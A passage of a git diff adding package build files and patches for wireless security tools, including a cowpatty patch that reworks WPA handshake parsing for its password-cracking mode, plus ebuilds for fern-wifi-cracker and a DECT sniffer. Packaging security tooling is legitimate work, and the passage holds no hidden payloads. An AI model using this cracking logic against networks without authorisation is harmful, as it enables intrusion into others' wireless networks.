+ 	int ver; /* Hashing algo, MD5 or AES-CBC-MAC */
++	int eapolframe_size;
+ };
+ 
+ struct hashdb_head {
diff --git a/net-wireless/cowpatty/files/cowpatty-4.3-hashfix.patch b/net-wireless/cowpatty/files/cowpatty-4.3-hashfix.patch
new file mode 100644
index 00000000..2ae6fcd2
--- /dev/null
+++ b/net-wireless/cowpatty/files/cowpatty-4.3-hashfix.patch
@@ -0,0 +1,12 @@
+diff -uNr cowpatty-4.3/cowpatty.c cowpatty-4.3-hashfix/cowpatty.c
+--- cowpatty-4.3/cowpatty.c	2008-03-20 09:49:38.000000000 -0700
++++ cowpatty-4.3-hashfix/cowpatty.c	2008-10-19 23:29:22.000000000 -0700
+@@ -202,7 +202,7 @@
+ 	}
+ 
+ 	/* Test that the files specified exist and are greater than 0 bytes */
+-	if (!IsBlank(opt->hashfile)) {
++	if (!IsBlank(opt->hashfile) && strncmp(opt->hashfile, "-", 1) != 0) {
+ 		if (stat(opt->hashfile, &teststat)) {
+ 			usage("Could not stat hashfile.  Check file path.");
+ 			exit(-1);
diff --git a/net-wireless/cowpatty/files/cowpatty-4.6-fixup14.patch b/net-wireless/cowpatty/files/cowpatty-4.6-fixup14.patch
new file mode 100644
index 00000000..c27e2b18
--- /dev/null
+++ b/net-wireless/cowpatty/files/cowpatty-4.6-fixup14.patch
@@ -0,0 +1,346 @@
+diff -uNr cowpatty-4.6/cowpatty.c cowpatty-4.6-fixup14/cowpatty.c
+--- cowpatty-4.6/cowpatty.c	2009-07-03 08:15:50.000000000 -0700
++++ cowpatty-4.6-fixup14/cowpatty.c	2009-07-17 19:16:21.792816008 -0700
+@@ -94,8 +94,7 @@
+ 	       "\t-d \tHash file (genpmk)\n"
+ 	       "\t-r \tPacket capture file\n"
+ 	       "\t-s \tNetwork SSID (enclose in quotes if SSID includes spaces)\n"
+-	       "\t-2 \tUse frames 1 and 2 or 2 and 3 for key attack (nonstrict mode)\n"
+-           "\t-c \tCheck for valid 4-way frames, does not crack\n"
++	       "\t-c \tCheck for valid 4-way frames, does not crack\n"
+ 	       "\t-h \tPrint this help information and exit\n"
+ 	       "\t-v \tPrint verbose information (more -v for more verbosity)\n"
+ 	       "\t-V \tPrint program version and exit\n" "\n");
+@@ -151,7 +150,7 @@
+ 
+ 	int c;
+ 
+-	while ((c = getopt(argc, argv, "f:r:s:d:c2nhvV")) != EOF) {
++	while ((c = getopt(argc, argv, "f:r:s:d:cnhvV")) != EOF) {
+ 		switch (c) {
+ 		case 'f':
+ 			strncpy(opt->dictfile, optarg, sizeof(opt->dictfile));
+@@ -166,9 +165,6 @@
+ 			strncpy(opt->hashfile, optarg, sizeof(opt->hashfile));
+ 			break;
+ 		case 'n':
+-		case '2':
+-			opt->nonstrict++;
+-			break;
+ 		case 'c':
+ 			opt->checkonly++;
+ 			break;
+@@ -435,21 +431,11 @@
+ 	cdata->ver = key_info & WPA_KEY_INFO_TYPE_MASK;
+ 	index = key_info & WPA_KEY_INFO_KEY_INDEX_MASK;
+ 
+-	if (opt->nonstrict == 0) {
+-
+-	        /* Check for EAPOL version 1, type EAPOL-Key */
+-        	if (dot1xhdr->version != 1 || dot1xhdr->type != 3) {
+-                	return;
+-        	}
+-
+-	} else {
+-
+-		/* Check for type EAPOL-Key */
+-		if (dot1xhdr->type != 3) {
+-			return;
+-		}
+-
++	/* Check for type EAPOL-Key */
++	if (dot1xhdr->type != 3) {
++		return;
+ 	}
++
+ 	if (cdata->ver != WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 &&
+ 		cdata->ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) {
+ 		return;
+@@ -457,12 +443,12 @@
+ 
+ 	if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) {
+ 		/* Check for WPA key, and pairwise key type */
+-		if (eapolkeyhdr->type != 254 || 
++		if ((eapolkeyhdr->type != 2 && eapolkeyhdr->type != 254) ||
+ 				(key_info & WPA_KEY_INFO_KEY_TYPE) == 0) {
+ 			return;
+ 		}
+ 	} else if (cdata->ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) {
+-		if (eapolkeyhdr->type != 2 ||
++		if ((eapolkeyhdr->type != 2 && eapolkeyhdr->type != 254) ||
+ 				(key_info & WPA_KEY_INFO_KEY_TYPE) == 0) {
+ 			return;
+ 		}
+@@ -472,19 +458,22 @@
+ 
+ 		/* Check for frame 2 of the 4-way handshake */
+ 		if ((key_info & WPA_KEY_INFO_MIC)
+-			&& (key_info & WPA_KEY_INFO_ACK) == 0
+-			&& (key_info & WPA_KEY_INFO_INSTALL) == 0
+-			&& eapolkeyhdr->key_data_length > 0) {
++		 && (key_info & WPA_KEY_INFO_ACK) == 0
++		 && (key_info & WPA_KEY_INFO_INSTALL) == 0
++		 && eapolkeyhdr->key_data_length > 0) {
+ 
+ 			/* All we need from this frame is the authenticator nonce */
+ 			memcpy(cdata->snonce, eapolkeyhdr->key_nonce,
+ 			       sizeof(cdata->snonce));
+ 			cdata->snonceset = 1;
++			memcpy(cdata->replay_counter1,
++			       eapolkeyhdr->replay_counter, 8);
++			cdata->replay_counter1[7] = cdata->replay_counter1[7] + 1;
+ 
+ 		/* Check for frame 3 of the 4-way handshake */
+ 		} else if ((key_info & WPA_KEY_INFO_MIC)
+-			  && (key_info & WPA_KEY_INFO_INSTALL)
+-			  && (key_info & WPA_KEY_INFO_ACK)) {
++		        && (key_info & WPA_KEY_INFO_INSTALL)
++		        && (key_info & WPA_KEY_INFO_ACK)) {
+ 
+ 			memcpy(cdata->spa, &packet[capdata->dstmac_offset],
+ 			       sizeof(cdata->spa));
+@@ -497,15 +486,17 @@
+ 			cdata->anonceset = 1;
+ 			/* We save the replay counter value in the 3rd frame to match
+ 			   against the 4th frame of the four-way handshake */
+-			memcpy(cdata->replay_counter,
++			memcpy(cdata->replay_counter2,
+ 			       eapolkeyhdr->replay_counter, 8);
+ 
+ 		/* Check for frame 4 of the four-way handshake */
+ 		} else if ((key_info & WPA_KEY_INFO_MIC)
+-			  && (key_info & WPA_KEY_INFO_ACK) == 0
+-			  && (key_info & WPA_KEY_INFO_INSTALL) == 0
+-			  && (memcmp (cdata->replay_counter,
+-			      eapolkeyhdr->replay_counter, 8) == 0)) {
++		        && (key_info & WPA_KEY_INFO_ACK) == 0
++		        && (key_info & WPA_KEY_INFO_INSTALL) == 0
++		        && (memcmp (cdata->replay_counter1,
++		            cdata->replay_counter2, 8) == 0)
++		        && (memcmp (cdata->replay_counter2,
++		            eapolkeyhdr->replay_counter, 8) == 0)) {
+ 
+ 			memcpy(cdata->keymic, eapolkeyhdr->key_mic,
+ 			       sizeof(cdata->keymic));
+@@ -513,57 +504,76 @@
+ 			       sizeof(cdata->eapolframe));
+ 			cdata->keymicset = 1;
+ 			cdata->eapolframeset = 1;
++			cdata->counters = 1;
+ 		}
+-	} else {
+-
+-		/* Check for frame 1 of the 4-way handshake */
+-		if ((key_info & WPA_KEY_INFO_MIC) == 0 
+-		   && (key_info & WPA_KEY_INFO_ACK)
+-		   && (key_info & WPA_KEY_INFO_INSTALL) == 0 ) {
+-	                /* All we need from this frame is the authenticator nonce */
+-			memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
+-				sizeof(cdata->anonce));
+-			cdata->anonceset = 1;
+- 
+-		/* Check for frame 2 of the 4-way handshake */
+-		} else if ((key_info & WPA_KEY_INFO_MIC)
+-			  && (key_info & WPA_KEY_INFO_INSTALL) == 0
+-			  && (key_info & WPA_KEY_INFO_ACK) == 0
+-			  && eapolkeyhdr->key_data_length > 0) {
+ 
+-			cdata->eapolframe_size = ( packet[capdata->dot1x_offset + 2] << 8 )
+-					+   packet[capdata->dot1x_offset + 3] + 4;
+-
+-			memcpy(cdata->spa, &packet[capdata->dstmac_offset],
+-				sizeof(cdata->spa));
+-			cdata->spaset = 1;
+-
+-			memcpy(cdata->aa, &packet[capdata->srcmac_offset],
+-				sizeof(cdata->aa));
+-			cdata->aaset = 1;
+-
+-			memcpy(cdata->snonce, eapolkeyhdr->key_nonce,
+-				 sizeof(cdata->snonce));
+-			cdata->snonceset = 1;
++	} else {
+ 
+-			memcpy(cdata->keymic, eapolkeyhdr->key_mic,
+-				sizeof(cdata->keymic));
+-			cdata->keymicset = 1;
++                /* Check for frame 1 of the 4-way handshake */
++                if ((key_info & WPA_KEY_INFO_MIC) == 0
++                 && (key_info & WPA_KEY_INFO_ACK)
++                 && (key_info & WPA_KEY_INFO_INSTALL) == 0 ) {
++
++                        /* All we need from this frame is the authenticator nonce */
++                        memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
++                                sizeof(cdata->anonce));
++                        cdata->anonceset = 1;
++
++                        memcpy(cdata->replay_counter1,
++                               eapolkeyhdr->replay_counter, 8);
++			cdata->replay_counter1[7] = cdata->replay_counter1[7] + 1;
++
++                /* Check for frame 2 or 4 of the 4-way handshake */
++                } else if ((key_info & WPA_KEY_INFO_MIC)
++                        && (key_info & WPA_KEY_INFO_INSTALL) == 0
++                        && (key_info & WPA_KEY_INFO_ACK) == 0) {
++
++                        cdata->eapolframe_size = ( packet[capdata->dot1x_offset + 2] << 8 )
++                                        +   packet[capdata->dot1x_offset + 3] + 4;
++
++                        memcpy(cdata->spa, &packet[capdata->dstmac_offset],
++                               sizeof(cdata->spa));
++                        cdata->spaset = 1;
++
++                        memcpy(cdata->aa, &packet[capdata->srcmac_offset],
++                               sizeof(cdata->aa));
++                        cdata->aaset = 1;
++
++                        memcpy(cdata->snonce, eapolkeyhdr->key_nonce,
++                               sizeof(cdata->snonce));
++                        cdata->snonceset = 1;
++
++                        memcpy(cdata->keymic, eapolkeyhdr->key_mic,
++                               sizeof(cdata->keymic));
++                        cdata->keymicset = 1;
++
++                        memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset],
++                               cdata->eapolframe_size);
++                        cdata->eapolframeset = 1;
+ 
+-			memcpy(cdata->eapolframe, &packet[capdata->dot1x_offset],
+-				cdata->eapolframe_size);
+-			cdata->eapolframeset = 1;
++			memcpy(cdata->replay_counter2,
++			       eapolkeyhdr->replay_counter, 8);
++			cdata->replay_counter2[7] = cdata->replay_counter2[7] + 1;
++                        memcpy(cdata->replay_counter3,
++                               eapolkeyhdr->replay_counter, 8);
++                        cdata->replay_counter3[7] = cdata->replay_counter3[7] + 2;
++
++                /* Check for frame 3 of the 4-way handshake */
++                } else if ((key_info & WPA_KEY_INFO_MIC)
++                        && (key_info & WPA_KEY_INFO_ACK)
++                        && (key_info & WPA_KEY_INFO_INSTALL)) {
++
++                        /* All we need from this frame is the authenticator nonce */
++                        memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
++                        sizeof(cdata->anonce));
++                        cdata->anonceset = 1;
++
++                        memcpy(cdata->replay_counter4,
++                               eapolkeyhdr->replay_counter, 8);
++			cdata->replay_counter4[7] = cdata->replay_counter4[7] + 1;
+ 
++                }
+ 
+-        /* Check for frame 3 of the 4-way handshake */
+-		}  else if ((key_info & WPA_KEY_INFO_MIC)
+-			  	&& (key_info & WPA_KEY_INFO_ACK)
+-	   			&& (key_info & WPA_KEY_INFO_INSTALL)) {
+-			/* All we need from this frame is the authenticator nonce */
+-			memcpy(cdata->anonce, eapolkeyhdr->key_nonce,
+-			sizeof(cdata->anonce));
+-			cdata->anonceset = 1;
+-		}
+ 	}
+ }
+ 
+@@ -982,10 +992,82 @@
+             }
+         }
+ 
++        if (!(cdata.aaset && cdata.spaset && cdata.snonceset &&
++              cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) {
++
++                cdata.aaset = 0;
++                cdata.spaset = 0;
++                cdata.snonceset = 0;
++                cdata.anonceset = 0;
++                cdata.keymicset = 0;
++                cdata.eapolframeset = 0;
++
++                opt.nonstrict = 1;
++
++                memset(&capdata, 0, sizeof(struct capture_data));
++                memset(&cdata, 0, sizeof(struct crack_data));
++                memset(&eapolkey_nomic, 0, sizeof(eapolkey_nomic));
++
++                /* Populate capdata struct */
++                strncpy(capdata.pcapfilename, opt.pcapfile,
++                    sizeof(capdata.pcapfilename));
++                if (openpcap(&capdata) != 0) {
++                    printf("Unsupported or unrecognized pcap file.\n");
++                    exit(-1);
++                }
++
++                /* populates global *packet */
++                while (getpacket(&capdata) > 0) {
++                    if (opt.verbose > 2) {
++                        lamont_hdump(packet, h->len);
++                    }
++                    /* test packet for data that we are looking for */
++                    if (memcmp(&packet[capdata.l2type_offset], DOT1X_LLCTYPE, 2) ==
++                        0 && (h->len >capdata.l2type_offset + sizeof(struct wpa_eapol_key))) {
++                        /* It's a dot1x frame, process it */
++                        handle_dot1x(&cdata, &capdata, &opt);
++
++                        if (cdata.aaset && cdata.spaset && cdata.snonceset
++			 && cdata.anonceset && cdata.keymicset
++                         && cdata.eapolframeset) {
++
++			    if (cdata.replay_counter1 != 0 
++                             && cdata.replay_counter2 != 0) {
++
++                              if (memcmp (cdata.replay_counter1,
++				          cdata.replay_counter2, 8) == 0) {
++
++				   cdata.counters = 1;
++	                           /* We've collected everything we need. */
++        	                   break;
++
++			      } 
++
++			    } 
++
++			    if (cdata.replay_counter3 != 0
++			     && cdata.replay_counter4 != 0) {
++
++			      if (memcmp (cdata.replay_counter3,
++			                  cdata.replay_counter4, 8) == 0) {
++
++				    cdata.counters = 1;
++				    /* We've collected everything we need. */
++				    break;
++
++			      }
++
++			    }
++						
++                        }
++                    }
++                }
++        }
++
+         closepcap(&capdata);
+ 
+         if (!(cdata.aaset && cdata.spaset && cdata.snonceset &&
+-              cdata.anonceset && cdata.keymicset && cdata.eapolframeset)) {
++              cdata.anonceset && cdata.keymicset && cdata.eapolframeset && cdata.counters)) {
+             printf("End of pcap capture file, incomplete four-way handshake "
+                    "exchange.  Try using a\ndifferent capture.\n");
+             exit(-1);
+diff -uNr cowpatty-4.6/cowpatty.h cowpatty-4.6-fixup14/cowpatty.h
+--- cowpatty-4.6/cowpatty.h	2009-06-04 06:24:16.000000000 -0700
++++ cowpatty-4.6-fixup14/cowpatty.h	2009-07-17 16:16:58.043152023 -0700
+@@ -178,7 +178,11 @@
+ 	u8 anonceset;
+ 	u8 keymicset;
+ 	u8 eapolframeset;
+-	u8 replay_counter[8];
++	u8 replay_counter1[8];
++	u8 replay_counter2[8];
++	u8 replay_counter3[8];
++	u8 replay_counter4[8];
++	u8 counters;
+ 
+ 	int ver; /* Hashing algo, MD5 or AES-CBC-MAC */
+ 	int eapolframe_size;
diff --git a/net-wireless/crda/Manifest b/net-wireless/crda/Manifest
new file mode 100644
index 00000000..d4f8fa21
--- /dev/null
+++ b/net-wireless/crda/Manifest
@@ -0,0 +1,4 @@
+DIST crda-1.1.0.tar.bz2 21418 RMD160 56107c11c898d94db3b7d39e17ea9f53afc64ffb SHA1 1ab73f7df83aab511d484b6f8b959a96bd6ab1da SHA256 82695b11263e6b329b4789fbc6b43b7a2d91de667904767bd5d3e4a49556bfc1
+DIST crda-1.1.1.tar.bz2 21666 RMD160 035e381f6276dacd06afc05fbfefdbbf7e768091 SHA1 73643b3f49b34c4150df4abb793a36792cc68fb7 SHA256 59b4760da44a8f803caeaaa7fb97e0c6bd3f35f40445b28258e7f14c2fbe13b5
+EBUILD crda-1.1.0-r1.ebuild 1235 RMD160 3292753d2eb93f8b5c58be3a72ec7912c86c03b1 SHA1 c11d2f635823cc311e6981eb628606b242a80674 SHA256 889a8722ad807f3d4f053093c8b78334d9c15c647f5437933528190ae35612b7
+EBUILD crda-1.1.1.ebuild 905 RMD160 a908790ac379adffae983c25c23b6b0662d3b130 SHA1 91a578ecd725b06fa1dbf12a14dea3f7d319a478 SHA256 f0d2c90b8a747d45deff02fce2c8980326a0260d1206ea55f40242ce72ce9620
diff --git a/net-wireless/crda/crda-1.1.0-r1.ebuild b/net-wireless/crda/crda-1.1.0-r1.ebuild
new file mode 100644
index 00000000..4616d1f7
--- /dev/null
+++ b/net-wireless/crda/crda-1.1.0-r1.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/crda/crda-1.0.1-r1.ebuild,v 1.2 2009/01/29 18:37:01 gentoofan23 Exp $
+
+inherit toolchain-funcs multilib
+
+DESCRIPTION="Central Regulatory Domain Agent for wireless networks."
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/crda/${P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+DESIRED_REGDB="20090817"
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/libgcrypt
+	dev-libs/libnl
+	dev-python/m2crypto
+	=net-wireless/wireless-regdb-${DESIRED_REGDB}"
+RDEPEND="dev-libs/libnl
+	=net-wireless/wireless-regdb-${DESIRED_REGDB}"
+# I am "pretty sure" about the rdepends
+
+src_unpack() {
+	unpack ${A}
+
+	##Make sure we install the rules where udev rules go...
+	sed -i -e "/^UDEV_RULE_DIR/s:lib:$(get_libdir):" "${S}"/Makefile || die \
+	"Makefile sed failed"
+	cp /usr/lib/crda/custom-distro.key.pub.pem ${S}/pubkeys/ || die "please 'emerge -1 =wireless-regdb-${DESIRED_REGDB}', sorry"
+}
+
+src_compile() {
+	emake CC="$(tc-getCC)" || die "Compilation failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-wireless/crda/crda-1.1.1.ebuild b/net-wireless/crda/crda-1.1.1.ebuild
new file mode 100644
index 00000000..122c1262
--- /dev/null
+++ b/net-wireless/crda/crda-1.1.1.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs multilib
+
+DESCRIPTION="Central Regulatory Domain Agent for wireless networks."
+HOMEPAGE="http://wireless.kernel.org/en/developers/Regulatory"
+SRC_URI="http://wireless.kernel.org/download/crda/${P}.tar.bz2"
+LICENSE="as-is"
+SLOT="0"
+
+KEYWORDS="amd64 ~ppc ~ppc64 x86"
+IUSE=""
+DEPEND="dev-libs/openssl
+	dev-libs/libgcrypt
+	dev-libs/libnl
+	dev-python/m2crypto"
+RDEPEND="dev-libs/libnl
+	dev-libs/openssl
+	net-wireless/wireless-regdb"
+
+src_compile() {
+	emake UDEV_RULE_DIR=/etc/udev/rules.d/ USE_OPENSSL=1 RUNTIME_PUBKEY_DIR=/usr/$(get_libdir)/crda/ CC="$(tc-getCC)" || die "Compilation failed"
+}
+
+src_install() {
+	emake UDEV_RULE_DIR=/etc/udev/rules.d/ USE_OPENSSL=1 RUNTIME_PUBKEY_DIR=/usr/$(get_libdir)/crda/ DESTDIR="${D}" install || die "emake install failed"
+}
diff --git a/net-wireless/dedected/Manifest b/net-wireless/dedected/Manifest
new file mode 100644
index 00000000..c0a8a93b
--- /dev/null
+++ b/net-wireless/dedected/Manifest
@@ -0,0 +1,3 @@
+AUX 99-dect.rules 199 RMD160 dc51d555bcadcd23aca50b5c572f349b22feba01 SHA1 33b80792030a8f8d56b251f5e6da3597099dc285 SHA256 e9830bd99bc043aea3a73c36bab444c9f608ce655c407361a732a2c12c3f1748
+AUX load-dect.sh 141 RMD160 ea6bc9921ce9dca7a68ea7731bb2f63d728163d9 SHA1 00aaabb1ea6a3ef09f442c54e4b9460f248a99b1 SHA256 51778dff87622940cd13e391888a64558cf7a66673f7585b6d7084fe3b4367c1
+EBUILD dedected-9999.ebuild 1401 RMD160 2c4682f065b901ab2e03da3cd271a1715c72264f SHA1 f4e5281528e9b35ca80dd2c1f114c56f9bfe195f SHA256 a73b4666c2a1bfe38f93fa537facf13b8505c710481bea2363d90b57a3bf7439
diff --git a/net-wireless/dedected/dedected-9999.ebuild b/net-wireless/dedected/dedected-9999.ebuild
new file mode 100644
index 00000000..506171a8
--- /dev/null
+++ b/net-wireless/dedected/dedected-9999.ebuild
@@ -0,0 +1,55 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit toolchain-funcs linux-info linux-mod eutils subversion
+
+DESCRIPTION="DECT Sniffer"
+HOMEPAGE="https://dedected.org"
+SRC_URI=""
+ESVN_REPO_URI="https://dedected.org/svn/trunk/com-on-air_cs-linux/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND=""
+
+BUILD_TARGETS="default"
+BUILD_TARGET_ARCH="${ARCH}"
+MODULE_NAMES="com_on_air_cs(misc:${S})"
+
+pkg_config() {
+	linux-mod_pkg_setup
+	BUILD_PARAMS="KDIR=${KV_DIR}"
+}
+
+pkg_preinst() {
+	enewgroup dect
+}
+src_compile() {
+#	KDIR="${KV_DIR}" emake || die "emake failed"
+	linux-mod_src_compile
+	KDIR="${KV_DIR}" emake -C tools || die "emake tools failed"
+	KDIR="${KV_DIR}" emake -C tools/dectshark || die "emake dectshark failed"
+
+}
+
+src_install () {
+#	emake DESTDIR="${D}" install || die "emake install failed"
+	linux-mod_src_install
+	#we could add a group and when we add udev rules we may drop this stuff in bin instead
+	dosbin tools/coa_syncsniff tools/dect_cli tools/dump_dip tools/dump_eeprom
+	dosbin tools/pcap2cchan tools/pcapstein tools/dectshark/dectshark
+	insinto /etc/udev/rules.d/
+	doins "${FILESDIR}"/99-dect.rules
+	exeinto /lib/udev/
+	doexe "${FILESDIR}"/load-dect.sh
+}
+
+pkg_postinst() {
+	linux-mod_pkg_postinst
+	elog "If you want to sniff dect as a user add yourself to the dect group"
+}
diff --git a/net-wireless/dedected/files/99-dect.rules b/net-wireless/dedected/files/99-dect.rules
new file mode 100644
index 00000000..8c6dd2e7
--- /dev/null
+++ b/net-wireless/dedected/files/99-dect.rules
@@ -0,0 +1,2 @@
+ACTION=="add", SUBSYSTEM=="pcmcia", ATTRS{prod_id1}=="DECTDataDevice", RUN+="/lib/udev/load-dect.sh"
+ACTION=="add", SUBSYSTEM=="pcmcia", ATTRS{prod_id1}=="DOSCH-AMAND", RUN+="/lib/udev/load-dect.sh"
diff --git a/net-wireless/dedected/files/load-dect.sh b/net-wireless/dedected/files/load-dect.sh
new file mode 100644
index 00000000..d62f0bce
--- /dev/null
+++ b/net-wireless/dedected/files/load-dect.sh
@@ -0,0 +1,8 @@
+#!/bin/bash
+
+/lib/udev/load-modules.sh com_on_air_cs
+
+if [ ! -c /dev/coa ]; then
+	mknod /dev/coa --mode 660 c 3564 0
+	chgrp dect /dev/coa
+fi
diff --git a/net-wireless/desknfc/Manifest b/net-wireless/desknfc/Manifest
new file mode 100644
index 00000000..39b91569
--- /dev/null
+++ b/net-wireless/desknfc/Manifest
@@ -0,0 +1 @@
+EBUILD desknfc-9999.ebuild 456 RMD160 871abd34f1d95dd934e81eeeee002379b0538a0c SHA1 1e61a032b1a8692718189975c1a882a0de49d54b SHA256 5b95ac2ba621c9836f3deb06dc825d095f5ff96baf1bceb20fa5b551871f208a
diff --git a/net-wireless/desknfc/desknfc-9999.ebuild b/net-wireless/desknfc/desknfc-9999.ebuild
new file mode 100644
index 00000000..86be81c4
--- /dev/null
+++ b/net-wireless/desknfc/desknfc-9999.ebuild
@@ -0,0 +1,20 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit kde4-base subversion
+
+DESCRIPTION="a KDE4 plasmoid which offer NFC content access"
+HOMEPAGE="https://code.google.com/p/nfc-tools/wiki/desknfc"
+SRC_URI=""
+ESVN_REPO_URI="http://nfc-tools.googlecode.com/svn/trunk/desknfc"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64"
+IUSE=""
+
+DEPEND="dev-libs/libndef"
+RDEPEND="${DEPEND}"
diff --git a/net-wireless/fern-wifi-cracker/Manifest b/net-wireless/fern-wifi-cracker/Manifest
new file mode 100644
index 00000000..981b2496
--- /dev/null
+++ b/net-wireless/fern-wifi-cracker/Manifest
@@ -0,0 +1,4 @@
+AUX fern-wifi-cracker 59 SHA256 40c355180c9eba480c25945d4cac2b988ab19045cd7be6a3a23adcc9b9e121ee SHA512 2f9e0be3cd82f8b4f7487b12666728a751a355125686cbd6030d8c9bc1352027766ffd955a91950838fcbff18f5ba06a787ebd88bd3add2a6319074a91b76506 WHIRLPOOL ea60fb32456990d2fcce0ccd585efa10525d128dc03a8495037bc970d17450d2d545a84955da53714bcd9d674f7b77d777476230f99f1584fb728f71323200c9
+AUX fern-wifi-cracker.desktop 285 SHA256 674ef8d499ec08eec745c5bf218c734f416768a48dd1a8d68036f10a46a3a531 SHA512 04825a9b760f3bfd672e2321279f5b57651a8f9ec7fee028b61650db8e8e4e8f4786885d057ec2c15a627f24e8d0bc2d662ef4ee3abf702c3673c60e0390ccda WHIRLPOOL e6bc5da185848fe8b0d168193ecb97d49fec127224e78438da0c569b936cede78ecffdab23da3dd792a2c03c4a73835169ea8ff2e377e60eda3d9a814860e221
+DIST Fern-Wifi-Cracker_1.6_all.deb 1590058 SHA256 9488a4b892ab1ceeba61b1325d79f8d089b0e235ef57f453b20c43a764a09b56 SHA512 88aa1118e67033b1427e0d694b3f9d8d2c3e08ddeffd1fc01a713de18f5f2a8446716c912d519ddd3f8f6d0faf7a79c9618b69fb2bea502b7df5a892bf7599a0 WHIRLPOOL bd5a93a788cea960519e6f9433e96027fa0e79f3df0b755e8d5af1441648cdff656f8737ee1303c1329c09616bf4d80c63e9cf68c6bacdbf65fd500ae5c906e0
+EBUILD fern-wifi-cracker-1.6.ebuild 1083 SHA256 d9f8c386876316df2b4f7ff7869bb50ec571642c3ca313484e716d70696b3a99 SHA512 b117ee4bb9284a913306f21a39d6df41f929bc4c49b298074d1b9d3dfb1f94a78cbf6152f5d8279297bc7c4fb1ca508e0dda4a398b112f67c9b359cdab28e38f WHIRLPOOL 9598b5da29cd557a57ec28b064dd858e8f9ef7494c46b448dbb1f84e31599a962de40fd0cf225b43a8cfdaeac101a66dc9db8e24a9cddaaf98021fe8e95873ff
diff --git a/net-wireless/fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild b/net-wireless/fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild
new file mode 100644
index 00000000..7927f55a
--- /dev/null
+++ b/net-wireless/fern-wifi-cracker/fern-wifi-cracker-1.6.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+PYTHON_USE_WITH="sqlite"
+PYTHON_DEPEND="2:2.7"
+
+inherit python eutils
+
+DESCRIPTION="Wireless tool for WEP/WPA cracking and WPS keys recovery"
+HOMEPAGE="https://code.google.com/p/fern-wifi-cracker/"
+SRC_URI="https://fern-wifi-cracker.googlecode.com/files/Fern-Wifi-Cracker_1.6_all.deb"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="dict"
+
+DEPEND=""
+RDEPEND="dev-python/PyQt4[webkit]
+	net-analyzer/macchanger
+	net-wireless/aircrack-ng
+	net-analyzer/scapy
+	dict? ( sys-apps/cracklib-words )
+	net-wireless/reaver"
+#x11-terms/xterm
+
+S="${WORKDIR}"
+
+pkg_setup() {
+	python_set_active_version 2
+	python_pkg_setup
+}
+
+src_unpack() {
+	unpack ${A} ./data.tar.gz
+	find ./ -name .svn | xargs rm -r
+}
+
+src_prepare() {
+	python_convert_shebangs -r 2 .
+}
+
+src_install() {
+	insinto /usr/share/fern-wifi-cracker
+	doins -r opt/Fern-Wifi-Cracker/*
+	domenu "${FILESDIR}"/fern-wifi-cracker.desktop
+	#symlinking won't work here
+	dosbin "${FILESDIR}"/fern-wifi-cracker
+}
diff --git a/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker b/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker
new file mode 100644
index 00000000..7055f508
--- /dev/null
+++ b/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+python2 /usr/share/fern-wifi-cracker/execute.py
diff --git a/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker.desktop b/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker.desktop
new file mode 100644
index 00000000..e2abe6f2
--- /dev/null
+++ b/net-wireless/fern-wifi-cracker/files/fern-wifi-cracker.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Name=Fern Wifi Cracker
+Version=1.0
+Exec=sudo /usr/sbin/fern-wifi-cracker
+Comment=
+Icon=/usr/share/fern-wifi-cracker/resources/icon.png
+Type=Application
+Terminal=false
+StartupNotify=true
+Categories=System;Security;X-Pentoo;X-Penetration;X-Wireless;
+OnlyShowIn=X-Pentoo;
diff --git a/net-wireless/gqrx/Manifest b/net-wireless/gqrx/Manifest
new file mode 100644
index 00000000..ca7fec6c
--- /dev/null
+++ b/net-wireless/gqrx/Manifest
@@ -0,0 +1 @@
+EBUILD gqrx-9999.ebuild 590 SHA256 2dc8f26457f745d771c9603018eecfd3934ee687131f43898e91a9afa788549b SHA512 0d14d3b2fc318cd852f98bb7b54d7ef156af38b3c455f76f7c2b08e0b99cd294b6e3b103495f14e4fbd0e03d19e88b267ad70ba13585dc1b2952a93192dd871c WHIRLPOOL 1606dc6eacc9b821bfb7ca0c294572d4392bf8224b161fed6170b0cc702f57f002ddfba72e57bc4d892159f51790f5167761b96e8b52394e18ec6a615a24f001
diff --git a/net-wireless/gqrx/gqrx-9999.ebuild b/net-wireless/gqrx/gqrx-9999.ebuild
new file mode 100644
index 00000000..2a62bc57
--- /dev/null
